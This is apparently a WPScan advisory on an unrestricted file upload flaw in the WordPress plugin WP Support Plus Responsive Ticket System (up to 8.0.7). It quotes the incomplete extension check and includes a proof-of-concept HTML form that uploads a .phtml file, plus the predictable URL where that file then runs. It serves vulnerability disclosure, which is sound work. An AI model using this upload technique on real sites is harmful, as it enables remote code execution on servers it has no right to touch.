WP Support Plus Responsive Ticket System <= 8.0.7 - Remote Code Execution (RCE)

Sign up to our free email alerts service for instant vulnerability notifications!

Description
WP Support Plus Responsive Ticket System <= 8.0.7 allows anyone to upload PHP files with extensions like ".phtml", ".php4", ".php5", and so on, all of which are run as if their extension was ".php" on most hosting platforms.

This is because "includes/admin/attachment/uploadAttachment.php" contains this code:

    switch ($extension){
        case 'exe':
        case 'php':
        case 'js':
            $isError=true;
            $errorMessege=__('Error: file format not supported!','wp-support-plus-responsive-ticket-system');

But it does not check for other extensions like ".phtml". In addition, it saves the file with a predictable name based on the timestamp, and anyone can load the file and run the code it contains.

Plugin author notified 2017-11-09.
Proof of Concept
<form method="post" enctype="multipart/form-data" action="https://example.com/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="wpsp_upload_attachment">
    Choose a file ending with .phtml:
    <input type="file" name="0">
    <input type="submit" value="Submit">
</form>


After doing this, an uploaded file can be accessed at, say:

http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml

Affects Plugin

References

URL https://plugins.trac.wordpress.org/changeset/1763596/wp-support-plus-responsive-ticket-system

Classification

Type RCE
OWASP Top 10 A1: Injection
CWE CWE-94

Miscellaneous

Submitter Robert Mathews
Submitter Website https://tigertech.net/
Submitter Twitter @TigerTech
Views 136
Verified No
WPVDB ID 8949

Timeline

Publicly Published 2017-11-11 (9 days ago)
Added 2017-11-12 (7 days ago)
Last Updated 2017-11-12 (7 days ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.